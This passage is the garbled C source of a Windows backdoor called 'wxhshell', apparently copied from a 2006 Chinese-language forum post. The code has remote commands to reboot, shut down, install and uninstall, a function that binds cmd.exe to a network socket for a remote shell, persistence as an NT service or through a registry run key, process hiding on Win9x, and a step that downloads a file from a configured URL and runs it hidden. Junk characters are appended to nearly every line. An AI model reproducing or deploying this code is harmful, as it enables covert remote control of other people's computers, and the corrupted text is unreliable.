  q^N0abzgP  
  // 帮助 1U7,X6=~  
  case '?': { (eRKR2% q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mUt,Z^ l`  
    break; =\Vu=I  
  } O*rmD<L$  
  // 安装 v<%kd[N  
  case 'i': { ^'7C0ps+A  
    if(Install()) \+{t4Im  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +qdIj] v  
    else N2tkCkl^x9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y%/ YFO2vb  
    break; MV<!<Qmj  
    } ~y)bYG!G  
  // 卸载 {M@@)27gW  
  case 'r': { kPO6gdwq$  
    if(Uninstall()) bR'mV-2'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _3.G\/>[K  
    else p/hvQy E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |0L=8~M(j  
    break; e?!L}^f6X  
    } fK'.wX9  
  // 显示 wxhshell 所在路径 x[vBK8  
  case 'p': { ~ThVap[*  
    char svExeFile[MAX_PATH]; Zlk,])9Q  
    strcpy(svExeFile,"\n\r"); zkh hN"bX  
      strcat(svExeFile,ExeFile); sOl>5:D6  
        send(wsh,svExeFile,strlen(svExeFile),0); oSn! "<x  
    break; Q sg/ V]  
    } *qPdZ   
  // 重启 M ?Ndy*]  
  case 'b': { JY2/YDJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Kj Ju;  
    if(Boot(REBOOT)) W-z90k4Z5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lMC{SfdH  
    else { cq,v1Y<  
    closesocket(wsh); 382*  
    ExitThread(0); b " ")BT  
    } jC%35bi  
    break; ym|NT0_0  
    } zJ;>.0  
  // 关机 6 u-$  
  case 'd': { /mn-+u`K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h(@R]GUX  
    if(Boot(SHUTDOWN)) }!%JYG^!D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~H^'al2PK  
    else { #ya\Jdx   
    closesocket(wsh); )N" Ew0U  
    ExitThread(0); vZ$U^>":  
    } 46bl>yk9<  
    break; \.H9$C$  
    } g@~!kh,TH  
  // 获取shell (#!] fF"!x  
  case 's': { |5xYT 'V  
    CmdShell(wsh); e Om< !H  
    closesocket(wsh); <nWKR,  
    ExitThread(0); 9 Uha2o  
    break; N] 14  
  } ZfPd0 p  
  // 退出 -AjH}A[!  
  case 'x': { oW 1"%i%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~x|aoozL  
    CloseIt(wsh); Q2/MnM  
    break; L[?nST18%  
    } H8@8MFz\  
  // 离开 "z^(dF|  
  case 'q': { q,B3ru.?d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e>l,(ql  
    closesocket(wsh); FR x6c  
    WSACleanup(); E *F*nd]K  
    exit(1); 9>by~4An?  
    break; A4G,}r *n  
        } Ia629gi5s  
  } `)R?nV b   
  } } q%jO  
2_;]  
  // 提示信息 HH)"]E5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9W!8gCs  
} 9!9> ?Z  
  } EM=w?T  
0YzsA#yv  
  return; X8/Tl \c  
} ]3*P:$Rq  
ha*X6R  
// shell模块句柄 kdp% !S%2  
int CmdShell(SOCKET sock) #s"851e  
{ q|5Q?t:,r  
STARTUPINFO si; CI`N8 f=v  
ZeroMemory(&si,sizeof(si)); s%~L4Wmcq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RMoJz6 ^>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .xO _E1Ku;  
PROCESS_INFORMATION ProcessInfo; !;%y$$gxh  
char cmdline[]="cmd"; /XcDYMKgh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wGvhB%8K  
  return 0; zJ9v%.e  
} EYL]TeS  
0n3D~Xzd  
// 自身启动模式 7K&}C;+  
int StartFromService(void) OL3UgepF  
{ /aZE,IeEz  
typedef struct ?O??cjiA@  
{ nH@(Y&S  
  DWORD ExitStatus; m0|K#^  
  DWORD PebBaseAddress; ?^ZXU0IkP  
  DWORD AffinityMask; Y\xUT>(J7  
  DWORD BasePriority; x?"#gK`3;  
  ULONG UniqueProcessId; nnNv0 ?>d(  
  ULONG InheritedFromUniqueProcessId; 7+}JgUh  
}   PROCESS_BASIC_INFORMATION; fb .J$fX  
f/}  
PROCNTQSIP NtQueryInformationProcess; @F>F#-2  
845 W>B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?i~g,P]NK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YNSyi@  
mO P4z'  
  HANDLE             hProcess; z{:-!oF&CB  
  PROCESS_BASIC_INFORMATION pbi; f~ =r*&U  
X7aYpt;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I&Jt> O4  
  if(NULL == hInst ) return 0; &D]p,  
GWsd| kxU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {.st`n|xz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H}Ucrv:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uWjN2#&,  
fc@'9- pt  
  if (!NtQueryInformationProcess) return 0; $X \va?(  
["y6b*;x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9#7J:PfZ<  
  if(!hProcess) return 0; zB*euHIqZ  
W|MWXs5'1*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hN   
- v]Qhf&>  
  CloseHandle(hProcess); )%mg(O8uL  
g5+7p@'fV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }`xdWY  
if(hProcess==NULL) return 0; dAc ?O-~  
2*[QZ9U[@  
HMODULE hMod; ~i ,"87$[  
char procName[255]; 0,_b)  
unsigned long cbNeeded; ;o0#(xVz  
%@?A_jS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TVaA>]Fv  
kA4@`YCl  
  CloseHandle(hProcess); xzsdG?P  
IA4N@ijRxh  
if(strstr(procName,"services")) return 1; // 以服务启动 ? }yfKU`  
7]E m ,  
  return 0; // 注册表启动 s"%lFA"-  
} bFY~oa%C  
ba3*]01Yb  
// 主模块 LY 0]l$  
int StartWxhshell(LPSTR lpCmdLine) Y9Z]i$qS&k  
{ mM_ k ^4:  
  SOCKET wsl; qnChM ;)  
BOOL val=TRUE; `zA#z />  
  int port=0; 1vnYogL   
  struct sockaddr_in door; , sjh^-;  
thc <xxRP  
  if(wscfg.ws_autoins) Install(); _Mk7U@j+9  
+D&Pp0xe  
port=atoi(lpCmdLine); }rq9I"/L  
?Q0I'RC  
if(port<=0) port=wscfg.ws_port; KkcXNjPVS  
*nC(-(r:J`  
  WSADATA data; zF`3 gl.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rf.`h{!!  
8)L*AdDAW!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WBr59@V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :g6n,p_#  
  door.sin_family = AF_INET; jZteooJG|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7B7&9<gc  
  door.sin_port = htons(port); -TO\'^][X  
w_hHfZ9E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ALc`t(..}A  
closesocket(wsl); a0=WfeT  
return 1; T 2F6)e  
} tyh@ ^7  
%eg+F  
  if(listen(wsl,2) == INVALID_SOCKET) { :Y P#  
closesocket(wsl); d\]Yk]r  
return 1; ;Hmp f0$  
} L\%orLEmK  
  Wxhshell(wsl); z//VlB  
  WSACleanup(); hI},~af  
c!#:E`  
return 0; 5T@aCC@$h  
?QZ"JX])  
} E&`Nh5JfC  
1oiRWRe  
// 以NT服务方式启动 aNxAZMg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eJ0?=u!x  
{ &V7M}@  
DWORD   status = 0; pO7Zs  
  DWORD   specificError = 0xfffffff; n]}W``=7  
FAsFjRS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; - VxDNT}Tr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zFz10pH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oGa^/:6L  
  serviceStatus.dwWin32ExitCode     = 0; Hc^W%t~  
  serviceStatus.dwServiceSpecificExitCode = 0; tM4 Cx  
  serviceStatus.dwCheckPoint       = 0; TX=yPq  
  serviceStatus.dwWaitHint       = 0; #]P9b@@e  
83%)/_&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lf(`SYQnOY  
  if (hServiceStatusHandle==0) return; !-<p,z  
_ :Ag?2  
status = GetLastError(); e:'?*BYVg3  
  if (status!=NO_ERROR) ,:LA.o}h  
{ I,yC D7l_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]\ !5}L  
    serviceStatus.dwCheckPoint       = 0; R :X0'zeRr  
    serviceStatus.dwWaitHint       = 0; `h:34RC;  
    serviceStatus.dwWin32ExitCode     = status; ":a\z(*t  
    serviceStatus.dwServiceSpecificExitCode = specificError; U*3J+Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ",6M)3{|c  
    return; #>lG7Ns|4  
  } #J (~_%Wi  
:cB=SYcC%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oVFnl A  
  serviceStatus.dwCheckPoint       = 0; ;oZ)Wt  
  serviceStatus.dwWaitHint       = 0; R;,g1m|]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >/[GTqi  
} eET&pP3Rp  
AIMSX]m  
// 处理NT服务事件,比如:启动、停止 R^?/' dr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2c6g>?  
{ |L2SFB?d=  
switch(fdwControl) ?;[w" `"  
{ wLc4Dm*V  
case SERVICE_CONTROL_STOP: W-NDBP:  
  serviceStatus.dwWin32ExitCode = 0; Ym%xx!9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wE+${B03  
  serviceStatus.dwCheckPoint   = 0; .*m>\>Gsgw  
  serviceStatus.dwWaitHint     = 0; 7 d LuX   
  { ;AO#xv+#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !?c|XdjZ  
  } 8Nu=^[qwQM  
  return; ^nbnbU4'  
case SERVICE_CONTROL_PAUSE: iQDx{m3]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {|I;YDA  
  break; hGpv2>M  
case SERVICE_CONTROL_CONTINUE: )W/;=K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cufH?Xg<  
  break; UMAgA!s  
case SERVICE_CONTROL_INTERROGATE: Zm6{n '  
  break; zR2B- &]H  
}; Tg!m`9s+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _S>JKz  
} I(S`j[U  
4R18A=X  
// 标准应用程序主函数 Ym3\pRFiD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'Ut7{rZ5  
{ hjZKUM G(k  
'yMF~r3J  
// 获取操作系统版本 ggJO:$?$L  
OsIsNt=GetOsVer(); /p8dZ+X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O,Cb"{qH8  
nBk)WX&[K  
  // 从命令行安装 bv&;R  
  if(strpbrk(lpCmdLine,"iI")) Install(); t+9][Adf  
v`M3eh@$A  
  // 下载执行文件 dKdj`wB  
if(wscfg.ws_downexe) { /~zai}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yUpgoX(6  
  WinExec(wscfg.ws_filenam,SW_HIDE); FCnm1x#  
} H1} RWaJ  
#O+),,WS  
if(!OsIsNt) { )c `7( nY  
// 如果时win9x,隐藏进程并且设置为注册表启动 7(pF[LCF  
HideProc(); I:mr}mv=i  
StartWxhshell(lpCmdLine); C.FI~Z  
} 17`1SGZ  
else )jt #=9ZQ  
  if(StartFromService()) oH_;4QU4y  
  // 以服务方式启动 =3L;Z[^9  
  StartServiceCtrlDispatcher(DispatchTable); x QIq^/F0  
else @)fd}tV  
  // 普通方式启动 2 B  
  StartWxhshell(lpCmdLine); p6;OL@ \~  
,^C--tgZJg  
return 0; k |eBJ%  
}
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只看该作者 1 发表于: 2006-10-10
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